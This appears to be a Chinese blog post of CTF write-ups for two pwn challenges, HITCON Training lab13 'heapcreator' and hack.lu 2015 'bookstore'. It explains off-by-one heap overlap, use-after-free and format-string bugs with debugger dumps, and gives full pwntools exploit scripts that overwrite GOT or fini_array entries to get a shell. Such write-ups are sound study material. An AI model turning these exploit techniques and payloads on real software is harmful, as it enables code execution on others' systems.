登录后台

页面导航

本文编写于 418 天前,最后修改于 118 天前,其中某些信息可能已经过时。

参考地址:https://xz.aliyun.com/t/6252#toc-8

HITCON Trainging lab13

程序分析

没开pie

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

基本的创建,编辑,输出,删除功能

--------------------------------
          Heap Creator          
--------------------------------
 1. Create a Heap               
 2. Edit a Heap                 
 3. Show a Heap                 
 4. Delete a Heap               
 5. Exit                        
--------------------------------
Your choice :

edit函数存在溢出一个字节的漏洞,这个可以运行程序自行测试
chunk在内存中的结构:

pwndbg> x/50gx 0x603000
0x603000:    0x0000000000000000    0x0000000000000021  -->chunk0结构体
0x603010:    0x000000000000000a    0x0000000000603030
0x603020:    0x0000000000000000    0x0000000000000021    -->chunk0内容
0x603030:    0x0000000000000a61    0x0000000000000000
0x603040:    0x0000000000000000    0x0000000000000021    -->chunk1结构体
0x603050:    0x000000000000000a    0x0000000000603070
0x603060:    0x0000000000000000    0x0000000000000021    -->chunk1内容
0x603070:    0x0000000000000a62    0x0000000000000000
0x603080:    0x0000000000000000    0x0000000000020f81
0x603090:    0x0000000000000000    0x0000000000000000

漏洞利用

1.创建两个chunk并在布置好chunk0内容,溢出一个字节修改chunk2结构体大小

creat(0x18,'a')
creat(0x10,'b')
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")

第0个chunk0创建0x18的大小是为了溢出
提前在chunk0中布置好"/bin/shx00"

pwndbg> x/50gx 0xa48000
0xa48000:    0x0000000000000000    0x0000000000000021
0xa48010:    0x0000000000000018    0x0000000000a48030
0xa48020:    0x0000000000000000    0x0000000000000021
0xa48030:    0x0068732f6e69622f    0x6161616161616161
0xa48040:    0x6161616161616161    0x0000000000000041
0xa48050:    0x0000000000000a63    0x0000000000a48070

2.删掉chunk1,此时就会被链接到small bins里,一个在0x40链表上,一个在0x20链表上

3.创建0x30的大小,会先创建chunk2的结构体,申请0x20的大小,这时chunk1的数据chunk被优先使用,然后再创建chunk2的数据chunk,此时0x40的chunk2的结构chunk就会被使用(实际只有0x20),此时会发生内存chunk的重叠,而chunk2的结构chunk我们可以进行任意读写

0xa48040:    0x6161616161616161    0x0000000000000041    -->chunk2数据
0xa48050:    0x0000000000000a63    0x0000000000a48070
0xa48060:    0x0000000000000000    0x0000000000000021    -->chunk2结构体
0xa48070:    0x0000000000000030    0x0000000000a48050
0xa48080:    0x0000000000000000    0x0000000000020f81
0xa48090:    0x0000000000000000    0x0000000000000000

这里就可以知道为什么上面溢出的时候改的大小是0x40,下面申请的大小是0x30

4.创建chunk2时注意填充内容,然后show(1)就可以打印出free函数的地址,然后计算libc

creat(0x30,p64(0) * 4 + p64(0x30) + p64(elf.got['free']))

5.算出system函数的实际地址,改写free函数的got表

6.exp

from pwn import *
context.log_level = 'debug'
p = process('./heapcreator')
elf = ELF('heapcreator')
libc = elf.libc
def creat(size,content):
    p.sendlineafter('choice :',str(1))
    p.sendlineafter('Heap : ',str(size))
    p.sendlineafter('heap:',str(content))
def edit(idx,content):
    p.sendlineafter('choice :',str(2))
    p.sendlineafter('Index :',str(idx))
    p.sendlineafter('heap : ',str(content))
def show(idx):
    p.sendlineafter('choice :',str(3))
    p.sendlineafter('Index :',str(idx))
def delete(idx):
    p.sendlineafter('choice :',str(4))
    p.sendlineafter('Index :',str(idx))
creat(0x18,'a')
creat(0x10,'b')
edit(0, '/bin/sh\x00' + 'a' * 0x10 + '\x41')
delete(1)
creat(0x30,p64(0) * 4 + p64(0x30) + p64(elf.got['free']))
show(1)
free_addr = u64(p.recv(26)[20:].ljust(8,'\x00'))
print hex(free_addr)
libc_addr = free_addr - libc.symbols['free']
print hex(libc_addr)
system_addr = libc_addr + libc.symbols['system']
print hex(system_addr)
#gdb.attach(p)
edit(1, p64(system_addr))
delete(0)
p.interactive()

2015 hacklu bookstore

参考地址:

https://blog.csdn.net/weixin_42151611/article/details/96703609

https://bbs.pediy.com/thread-246783.htm

https://luomuxiaoxiao.com/?p=516

程序分析

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

运行程序发现了问题

We can order books for you in case they're not in stock.
Max. two orders allowed!

1: Edit order 1
2: Edit order 2
3: Delete order 1
4: Delete order 2
5: Submit

编辑功能:编辑已存在的1,2堆块,可溢出
删除功能:删除已存在的1,2堆块,uaf
合并功能:将1,2两个堆块合并,格式化字符串

这个程序有三个漏洞,看似简单,实则困难

1)任意写,n才结束

unsigned __int64 __fastcall sub_400876(__int64 a1)
{
  int v1; // eax
  int v3; // [rsp+10h] [rbp-10h]
  int v4; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v3 = 0;
  v4 = 0;
  while ( v3 != '\n' )    //要转换成char
  {
    v3 = fgetc(stdin);
    v1 = v4++;
    *(_BYTE *)(v1 + a1) = v3;
  }
  *(_BYTE *)(v4 - 1LL + a1) = 0;
  return __readfsqword(0x28u) ^ v5;
}

2) UAF漏洞

unsigned __int64 __fastcall sub_4008FA(void *a1)
{
  unsigned __int64 v1; // ST18_8

  v1 = __readfsqword(0x28u);
  free(a1);
  return __readfsqword(0x28u) ^ v1;
}

3) 格式化字符串,在main函数的最下面

printf("%s", v5);
printf(dest);

漏洞利用

1.程序开头malloc三个chunk,我们需要先free掉第二个chunk

pwndbg> x/50gx 0x138a000
0x138a000:    0x0000000000000000    0x0000000000000091
0x138a010:    0x0000000000000000    0x0000000000000000
0x138a020:    0x0000000000000000    0x0000000000000000
0x138a030:    0x0000000000000000    0x0000000000000000
0x138a040:    0x0000000000000000    0x0000000000000000
0x138a050:    0x0000000000000000    0x0000000000000000
0x138a060:    0x0000000000000000    0x0000000000000000
0x138a070:    0x0000000000000000    0x0000000000000000
0x138a080:    0x0000000000000000    0x0000000000000000
0x138a090:    0x0000000000000000    0x0000000000000091
0x138a0a0:    0x00007f1b59f7fb78    0x00007f1b59f7fb78
0x138a0b0:    0x0000000000000000    0x0000000000000000
0x138a0c0:    0x0000000000000000    0x0000000000000000
0x138a0d0:    0x0000000000000000    0x0000000000000000
0x138a0e0:    0x0000000000000000    0x0000000000000000
0x138a0f0:    0x0000000000000000    0x0000000000000000
0x138a100:    0x0000000000000000    0x0000000000000000
0x138a110:    0x0000000000000000    0x0000000000000000
0x138a120:    0x0000000000000090    0x0000000000000090
0x138a130:    0x0000000000000000    0x0000000000000000
0x138a140:    0x0000000000000000    0x0000000000000000
0x138a150:    0x0000000000000000    0x0000000000000000

我们需要让printf堆块处执行格式化的漏洞,就需要让submit功能去帮助我们覆盖,submit功能会加上order1:等这些字符串,不能漏掉,总结后可以得知新申请的堆块内容为:

Order 1: + chunk1 + \n + Order 2: + chunk2 + \n

因为chunk2已经被delete掉了,所以当复制chunk2中的内容的时候复制的其实是order 1: + chunk1。所以上述可以变为:

Order 1: + chunk1 + \n + Order 2: + Order 1: + chunk1 + \n

所以我们可以构造第二次的chunk1内容恰好覆盖到dest堆块处。也就是:

size(Order 1: + chunk1 + \n + Order 2: + Order 1:) == 0x90
size(chunk1) == 0x90 - 28 == 0x74

所以我们构造chunk1中的内容的时候只要使其中非0字符串的个数达到0x74就行了。
因为输入选项的时候可输入128个数字符串

fgets(&s, 128, stdin);

所以我们可以提前在栈中构造好我们所需要用格式化字符串修改的任意地址。
输入点在格式化偏移为12处,我们第一轮利用需要修改的是.fini_array处的内容,所以我们在栈中可以这么构造:

payload2 = '5'+p8(0x0)*7 + p64(fini_array)  <-- 5为选用submit功能

而chunk1中的内容可以这么构造:

payload = "%"+str(2617)+"c%13$hn"  + '.%31$p' + ',%28$p'
payload += 'A'*(0x74-len(payload))
payload += p8(0x0)*(0x88-len(payload))
payload += p64(0x151)

这里的'.%31$p'目的是泄漏__libc_start_main函数的地址,从而leak libc的地址。

gdb-peda$ x/56gx 0x6e6028-0x28
0x6e6000:   0x0000000000000000  0x0000000000000091
0x6e6010:   0x3125633731363225  0x313325516e682433
0x6e6020:   0x7024383225507024  0x6161616161616161
0x6e6030:   0x6161616161616161  0x6161616161616161
0x6e6040:   0x6161616161616161  0x6161616161616161
0x6e6050:   0x6161616161616161  0x6161616161616161
0x6e6060:   0x6161616161616161  0x6161616161616161
0x6e6070:   0x6161616161616161  0x6161616161616161
0x6e6080:   0x0000000061616161  0x0000000000000000
0x6e6090:   0x0000000000000000  0x0000000000000151
0x6e60a0:   0x3a3120726564724f  0x2563373136322520
0x6e60b0:   0x3325516e68243331  0x2438322550702431
0x6e60c0:   0x6161616161616170  0x6161616161616161
0x6e60d0:   0x6161616161616161  0x6161616161616161
0x6e60e0:   0x6161616161616161  0x6161616161616161
0x6e60f0:   0x6161616161616161  0x6161616161616161
0x6e6100:   0x6161616161616161  0x6161616161616161
0x6e6110:   0x6161616161616161  0x724f0a6161616161
0x6e6120:   0x4f203a3220726564  0x203a312072656472
0x6e6130:   0x3125633731363225  0x313325516e682433
0x6e6140:   0x7024383225507024  0x6161616161616161
0x6e6150:   0x6161616161616161  0x6161616161616161
0x6e6160:   0x6161616161616161  0x6161616161616161
0x6e6170:   0x6161616161616161  0x6161616161616161
0x6e6180:   0x6161616161616161  0x6161616161616161
0x6e6190:   0x6161616161616161  0x6161616161616161
0x6e61a0:   0x64724f0a61616161  0x000a203a32207265
0x6e61b0:   0x0000000000000000  0x0000000000000411

借用大佬的exp:


#coding:utf-8
from pwn import *


context(arch='amd64',os='linux')
context.log_level = 'debug'
io = process("./books")
p = ELF("./books")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


def edit(index,content):
    io.recvuntil("Submit\n")
    io.sendline(str(index))
    io.recvuntil("order:\n")
    io.sendline(content)
    
def delete(index):
    io.recvuntil("Submit\n")
    io.sendline(str(index+2))
    
def submit(content):
    io.recvuntil("Submit\n")
    io.sendline("5"+content)
    
fini_array = 0x6011B8

payload = '%'+str(0xa39)+'c%13$hn;%31$p,%28$p,'                

#构造格式化字符串漏洞,其中0xa39对应的是main函数的0x400a39
# %13是因为第13个块对应的是fini_array,%31是main函数执行到ret以后,rsp指向的数据,对应的是(main+240)
# %28是为了泄露栈上存着的一个栈的地址,用来定位

payload = payload.ljust(0x74,'a')
payload = payload.ljust(0x88,"\x00")        
payload += p64(0x151)                    #使第二块的大小变为0x150
payload += 'b' * 0x140                        #填充
payload += p64(0) + p64(0x21)            #构造nextchunk,主要目的是让nextchunk的prev_inuse为1,标志0x150这个块还在用
payload += p64(0)*3 + p64(0x21)        #标志nextchunk还在用,以免free0x150这个块的时候让它和nextchunk合并

#    上面这块需要很多关于堆分配的函数以及free函数等的细节

edit(1,payload)
#gdb.attach(io,"b *0x40091C")
#raw_input("en: ")
delete(2)
#gdb.attach(io,"b *0x400CAC")
#raw_input("en: ")
submit("aaaaaaa"+p64(fini_array))            

#这样输入可以使fini_array存在格式化字符串%13的位置
#main函数执行完以后,就会执行fini_array中的函数


io.recvuntil(';')
io.recvuntil(';')
io.recvuntil(';')
libc_main = int(io.recvuntil(',')[:-1],16) - 240                #因为泄漏出来的是(main+240)
stack_addr = int(io.recvuntil(',')[:-1],16)
#log.success("libc_main: "+hex(libc_main))
libc_base = libc_main - libc.symbols["__libc_start_main"]
#log.success("libc_base: "+hex(libc_base))
ret_addr = stack_addr - 0x1e8                

#减去0x1e8是因为,第一次main函数ret以后,执行过一次leave,rsp改变了,第二次又执行一次leave,rsp又改变
#所以就下断点到第二次ret的时候,查看当时的rsp的值,与stack_addr做差

log.success("ret_addr: "+hex(ret_addr))
one_gadget = libc_base + 0x45216     #0x4526a 0xf02a4 0xf1147

#手动使用objdump查的时候,查出来是0x4526a,但是不知道为什么就是不行,非得从0x45216才行
#直到比对了一下,发现后者相比较于前者来说,rdx,r8,r9这些寄存器都清零了
#这就是原因吗?不太敢确定
#0x4520f是一条lea rax,xxx,就是0x45216的上一条指令,照理来说没啥影响,但是也不行

one_shot1 ='0x' + str(hex(one_gadget))[-2:]
one_shot2 ='0x' + str(hex(one_gadget))[-6:-2]
one_shot1 = int(one_shot1,16)
one_shot2 = int(one_shot2,16)

payload = '%'+str(one_shot1)+'d%13$hhn%'+str(one_shot2-one_shot1)+'d%14$hn'

#%d:输出十进制整数,配上%n可用于向指定地址写数据。
#这里是要往第二次的ret_addr写入execve的地址

payload = payload.ljust(0x74,'a')
payload = payload.ljust(0x88,"\x00")
payload += p64(0x151)
payload += 'b' * 0x140
payload += p64(0) + p64(0x21)
payload += p64(0)*3 + p64(0x21)
edit(1,payload)
#gdb.attach(io,"b *0x40091C")
#raw_input()
delete(2)

submit('aaaaaaa'+p64(ret_addr)+p64(ret_addr+1))

#只需写后六位,因为地址的前面几位都相同

io.interactive()